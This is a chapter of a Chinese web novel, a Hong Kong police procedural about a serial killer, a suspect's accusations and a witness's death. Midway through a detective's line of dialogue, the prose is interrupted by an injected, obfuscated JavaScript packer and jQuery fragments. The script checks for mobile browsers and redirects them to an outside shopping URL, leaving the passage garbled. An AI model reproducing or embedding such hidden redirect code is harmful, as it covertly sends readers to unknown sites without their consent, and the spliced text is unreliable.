凌晨从审讯室出来，阴狠的目光直直对上方棋，要不是顾忌这是警署，只怕他不是用眼光剑影，而是拿枪指着方棋的头。


    方棋也没想到只不过是短短几个月时间，当初那个意气风发的凌影帝早已不在，现在凌晨只是一个颓废的毁了容的中年大叔。


    凌晨嘴里怨怼道：“你们警方只会官官相护，你们都说了，关霖当初就是为我作证的证人，哦，对了，他是作证你们的同僚鬼鬼祟祟跟踪我的证人，你们与其怀疑我会对关霖动手，还不如想想他是不是被人报复了吧？”


    关霖就是最新发现的尸体，也是当初凌媚找来的证人。


    “看什么看，说的就是你方棋，你的嫌疑可比我重多了，当初关霖作证的事，你一定记恨于心吧，会不会是你借着这一连串案子解决关霖。”


    凌晨这意思是关霖的案子是方棋监守自犯，模仿连环杀手犯罪。


    方棋听懂了，“你胡说八道。”


    “我胡说？说句难听点，我就算要杀杀的也应该是那个洗清你嫌疑的贱女人。”


    凌晨对黄阿莹不说恨之次骨，也只比仇恨方棋浅一点，明明那时候凌媚已经收买了所有那天晚上见过方棋的证人，就连黄阿莹这边也和程小伟商量好了，可这女人还是去元朗警署作证了，活活搅乱了他的计划。


    他觉得就是他的计划出了错，才会让他之后遭受那么多的磨难，还被人毁了容。


    凌晨话音刚落，白宇帆就带人进来走到他的面前，“凌晨先生，现在怀疑你与一起黄阿莹死亡案有关，请你跟我们回”


    白宇帆想说警署，但想到现在就在警署就换了一种说法，“请你配合我们的调查。”


    方棋急步上前：“黄阿莹死了？白sir，你会不会弄错了？”


    黎暖听到这话，倒是有种尘埃落定的稳妥感。


    廖明：“没弄错，方sir，因为死者跟你也有关系所以我们也要请你配合调查。”


    “我没有杀人，我刚才都是胡说的……”


    凌晨慌了，他刚才那话不过是狂妄自大的阙词。


    方棋没理会凌晨的鬼哭狼嚎，他更关注黄阿莹死了，他询问廖明很多问题。


    廖明：“抱歉，这是案件机密，暂时还不能透露。”


    方棋之前找黄阿莹的事他们也帮忙了，但一码算一码，现在黄阿莹死了，案子又到了他们组手里，那就不能轻易泄露给外人，哪怕是他们的同事。


    *


    布莱克是从总部挨骂回来的，面对让他挨骂的黎阳自然是要讨回来的：“黎sir你之前不是说死的人不够多，不能单单从三个死人抓住凶手嘛，现在又死了两个人总能抓住了吧？废物……”


    黎阳安静听着骂，虽然他之前的原话不是这样说的，但也没有和布莱克对上的意思，而且他骂得也对，是他没用才纵着凶手这么肆无忌惮杀人。


    布莱克骂了一顿黎阳就去白宇帆那一组把凌晨带出来。


    凌晨觉得布莱克骂人是为他出气，“妹夫，你手底下的这些人真是个吃闲饭的……”


    “给我滚回去，这是最后一次。”


    对上布莱克阴寒的双眼，凌晨脚软了，失声了，在布莱克开车离开许久才缓过神来，回过神来那瞬间觉得周围的人才暗中嘲笑他，对着布莱克的汽车尾气狠狠一挥拳，好像这样就能挽回他的自尊。


    这个大舅哥经常给他丢脸，想到那些人的眼神布莱克心里就难受，连带着回到家对着凌媚娇俏的笑脸都起了一丝厌恶。


    “你以后离你大哥远点，他尽交些不三不四的朋友，尽做些不三不四的事，省得带坏了你……”


    布莱克吩咐凌媚道。


    听到大哥又被九龙总区带去问话的消息，凌媚气的饭都吃不下了，布莱克也真是的，他这个警司当的还不如个督察。


    她大哥不是好东西，那他自己又能是什么好东西，前几天在兰桂坊当众耍酒疯还被记者拍到照片，要不是她及时从记者手里买回来了照片，只怕他这个警司的不雅照会香江市民人手一份，现在说这话也是够不要脸的。


    对了，她大哥一直在出事，凭什么方家兄妹一个人好，她一定要方妙妙好看，不然对不起大哥这段时间受的罪。


    “死人了跟我大哥有什么关系，他也是被牵连的，难道不是他们那些废物警察没用？”


    凌媚原本没想说话，却不想布莱克说话越来越过分，忍不住出声反驳布莱克。


    凌媚看布莱克脸色难堪找补道：“再说了我大哥不可能杀人的，你知道他被医生诊断……怎么有可能有能力杀人呢？”


    布莱克黑着脸道：“那有什么关系，谁让他和黄阿莹有牵扯呢。”


    提到黄阿莹，凌媚的脸色瞬间僵硬，不敢跟布莱克对视，她之前还想过收拾黄阿莹呢，人也派出去了，也不知道是不是他动的手。


    布莱克还在板着脸愤愤的骂着黎阳，别看他中文不行，但脏话连篇。


    “我知道，我会让大哥远离那些狐朋狗友的。”


    凌媚面上乖乖点头，但也只说会让大哥远离朋友而没有说她会远着大哥。


    她大哥那些朋友她也看不顺眼，把布莱克搬出来还有可能说服大哥做到，就算做不到她妈咪也会看着大哥的。


    *


    至今为止已经死了五个人，


    二十一岁的赵安，职业是看场子的古惑仔，得罪的人多了去了，死于五月十一日，家住深水埗，尸体在长沙湾被发现。


    四十八岁的何有才，何田村村长，目前正在竞选区议员，死于九月二十日，家住围村，尸体在荔枝角被发现。


    四十岁的张强，无业游民，死于九月二十四日，家住荔枝角公屋，尸体在荔枝角被发现。


    三十八岁的姚佳宁，全职太太，死于十一月十一日，家住西贡，尸体在家附近被发现。


    二十六岁的关霖，公司白领，死于十一月十三日，家住湾仔，尸体在荃湾被发现。


    五个人的尸体被发现的地方各不相同，唯一近一点的就是何有才和张强。


    黎阳在张强的名字上画了一个圈，又画了一个问号，“如果排除了张强，凶手犯案的时间越来越短。”


    这是她的锅，黎暖看着那个问号欲言又止。


    顾越从张强那里拿到了他从现场带走的那张纸，也送到了化验署检验，听到黎阳这话立刻说明了这件事。


    黎阳定定的看着顾越，只把顾越看得尴尬转头，真是好样的，他还没忘记那话刚开始是阿暖讲的。


    “年纪不同，性别不同，生活圈子也不一样。”郭廷杰没看到他们眉目间的官司，“那他们五个人就没什么能联系到一起？我想说唯二相同的也就是死亡方式和死后被凶手故意摆成标准跪拜姿态，而且这朝圣姿态也不是说朝东南西北哪个方向。”


    刘海洋：“之前死了三个人的时候，还能讲都是凶手针对的是体型健硕的男人，可现在加了一个女人和身娇体贵的小白领，瞬间让


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879371|180267||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我们前段时间的调查全部白费。”


    顾越：“其实不同年龄段也会做一样的事，比方看病，比方学驾照，我可以很肯定的告诉你们，凶手一定是有预谋的选择这些被害人，只是我们暂时还没有找到他们的共同点，而且根据他动手的频率越来越近，说明我们警方的调查已经引起了凶手的紧迫感，也可能我们调查时见过他，只是我们自己暂时还不知道。”


    黎暖认同顾越的说法，这五起案子虽然她只梦到张强被害过程，但她也觉得凶手那么快杀害有可能是张强察觉到警察的动静，他之后安静了一个多月也是没有找到机会。


    方棋：“可我们后来也调查过他们五个人，其他四个人的社会关系复杂，姚佳宁的社会关系很简单，她没有学过车，也没有考过证，就是生孩子都是在西贡的小医院，其他人就赵安去过西贡。”


    现在想要查清一个人很难查，也就姚佳宁生活圈子小，才能这么快查清楚。


    黎阳他们这一组愁云惨雾，白宇帆他们那一组却是旗开得胜。


    黄阿莹的死被确认是意外，她应该是去看望家公回来的路上意外摔下山内出血死亡，只是刚好之后两天下暴雨，山体滑坡盖住了她的尸体才等待现在机缘巧合才会被人发现。


    白宇帆和顾越在中午吃饭碰到面的时候还调侃了他几句，查案还有佳人相伴。


    顾越让他正经点，不要败坏女孩子的名声。


    白宇帆可算见识到了顾越的双标，现在在顾越的心里只有黎暖才是排在第一位，他这个好兄弟早就不知道抛到哪个犄角旮旯去了。


    他有些幸灾乐祸的想，要是他追到最后还追不到的话，那他这个好兄弟一定会为他斟足够的酒让他买醉的。


    黎暖正在翻找报纸，郭廷杰觉得她在做无用功，好心劝导道：“报纸上报道的要么是我们查到的这些事，要么就是他们夸大其词的妄加揣测，没必要浪费时间。”


    这一点黎暖不是很赞同，“新闻报道的不一定是真实的，但香江记者神通广大，游走在整个香江，要论起人脉之广，任何人都比不上他们。”


    黎暖把所有报道连环杀人案的报纸按照受害人分类放好，然后一份份细看。


    初看一遍，没什么疑点，只是感觉哪里有些不对劲儿，她又重新看了两遍，终于让她找到了违和感。


    那就是除了赵安外，他们四人孝顺父母的口碑在外人眼里都是两极分化的。


    郭廷杰：“这有什么好大惊小怪的，做人嘛，总是会被人说道，而且我们也仔细调查过，这五个人里面只有张强和关霖是不孝顺的，何有才和姚佳宁都是很孝顺的。”


    “那赵安的父母呢？他不是跟着他父母来到香江了吗？他才二十一岁，他父母应该都还健在吧？”


    郭廷杰摇头道：“我们没找到他的父母，赵安的前女友和他的那些兄弟都没见过他的父母，赵安也很少提。”


    黎暖又去找大哥想要看看受害人父母的证词。


    但她只拿到五份，是何有才父母，张阿婆还有姚佳宁公婆的。


    黎阳：“你发现了什么？”


    黎暖：“暂时还不确定，我能见见他们吗？”


    “能是能，就是……”黎阳有些欲言又止。


    黎暖：“就是什么？”


    “警方这么久没抓住凶手，受害人家属对警方很排斥，你经常跟着我，我怕你也被他们排斥。”


    “没事，我有办法。”这对于黎暖来说是小问题。